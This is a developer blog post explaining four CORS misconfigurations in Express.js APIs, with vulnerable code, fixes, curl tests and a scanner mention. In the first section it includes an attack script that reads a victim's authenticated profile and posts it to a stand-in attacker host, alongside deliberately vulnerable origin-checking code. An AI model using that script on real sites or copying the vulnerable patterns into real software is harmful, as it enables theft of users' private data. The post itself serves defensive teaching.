DEV Community

Alex Spinov
Alex Spinov

Posted on

23% of Public APIs Have CORS Misconfigurations — Here's How to Fix Yours

CORS errors are the most common frustration for web developers. But CORS misconfigurations are one of the most common vulnerabilities for attackers.

I scanned 200 public APIs and found that 23% had CORS misconfigurations that could allow data theft.

Here's what's actually going wrong — and a 5-minute fix.

What CORS Actually Does

CORS (Cross-Origin Resource Sharing) controls which websites can make requests to your API. Without it, any website could read your users' data.

The browser enforces CORS by checking the Access-Control-Allow-Origin header in the API response. If the header doesn't match the requesting origin, the browser blocks the response.

The 4 Most Dangerous CORS Misconfigurations

1. Reflecting Any Origin (23% of APIs I scanned)

// VULNERABLE — reflects whatever origin the attacker sends
app.use((req, res, next) => {
  res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  next();
});
Enter fullscreen mode Exit fullscreen mode

This is equivalent to having no CORS protection at all. Any website can read your API responses, including authenticated ones.

Attack:

<!-- On attacker's website -->
<script>
fetch('https://vulnerable-api.com/user/profile', {
  credentials: 'include'  // Sends victim's cookies
})
.then(r => r.json())
.then(data => {
  // Steal the victim's private data
  fetch('https://attacker.com/steal', {
    method: 'POST',
    body: JSON.stringify(data)
  });
});
</script>
Enter fullscreen mode Exit fullscreen mode

Fix:

const ALLOWED_ORIGINS = [
  'https://myapp.com',
  'https://admin.myapp.com',
];

app.use((req, res, next) => {
  const origin = req.headers.origin;
  if (ALLOWED_ORIGINS.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
    res.setHeader('Access-Control-Allow-Credentials', 'true');
  }
  next();
});
Enter fullscreen mode Exit fullscreen mode

2. Wildcard with Credentials

// This doesn't work (browsers block it) but reveals intent issues
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');
Enter fullscreen mode Exit fullscreen mode

Browsers actually block this combination — but many developers then "fix" it by switching to origin reflection (mistake #1), which is worse.

3. Allowing Null Origin

// VULNERABLE — allows requests from sandboxed iframes
if (origin === 'null') {
  res.setHeader('Access-Control-Allow-Origin', 'null');
}
Enter fullscreen mode Exit fullscreen mode

The null origin comes from sandboxed iframes, local files, and redirects. Attackers use sandboxed iframes to send requests with a null origin.

4. Regex Bypass in Origin Validation

// VULNERABLE — attacker uses evil-myapp.com
if (origin.includes('myapp.com')) {
  res.setHeader('Access-Control-Allow-Origin', origin);
}

// ALSO VULNERABLE — attacker uses myapp.com.evil.com
if (origin.endsWith('myapp.com')) {
  res.setHeader('Access-Control-Allow-Origin', origin);
}
Enter fullscreen mode Exit fullscreen mode

Fix — use exact matching:

const ALLOWED = new Set([
  'https://myapp.com',
  'https://app.myapp.com'
]);

if (ALLOWED.has(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
}
Enter fullscreen mode Exit fullscreen mode

Quick Test: Is Your API Vulnerable?

# Test origin reflection
curl -s -I -H "Origin: https://evil.com" https://your-api.com/endpoint | grep -i access-control

# Test null origin
curl -s -I -H "Origin: null" https://your-api.com/endpoint | grep -i access-control
Enter fullscreen mode Exit fullscreen mode

If you see Access-Control-Allow-Origin: https://evil.com — your API is vulnerable.

The Complete Fix (Express.js)

const cors = require('cors');

const corsOptions = {
  origin: function (origin, callback) {
    const allowedOrigins = [
      'https://myapp.com',
      'https://admin.myapp.com',
    ];

    // Allow requests with no origin (mobile apps, curl)
    if (!origin) return callback(null, true);

    if (allowedOrigins.includes(origin)) {
      callback(null, true);
    } else {
      callback(new Error('Not allowed by CORS'));
    }
  },
  credentials: true,
  methods: ['GET', 'POST', 'PUT', 'DELETE'],
  allowedHeaders: ['Content-Type', 'Authorization'],
};

app.use(cors(corsOptions));
Enter fullscreen mode Exit fullscreen mode

Automated CORS Scanner

I open-sourced a tool that checks for all 4 misconfigurations:

CORS Misconfiguration Scanner

python scanner.py https://your-api.com
Enter fullscreen mode Exit fullscreen mode

It tests origin reflection, null origin, HTTP on HTTPS, and subdomain bypasses — then gives you a grade.


Have you found CORS issues in production? Share your war story below.

More security tools: awesome-devsec-tools

Follow for weekly security deep-dives.

Top comments (0)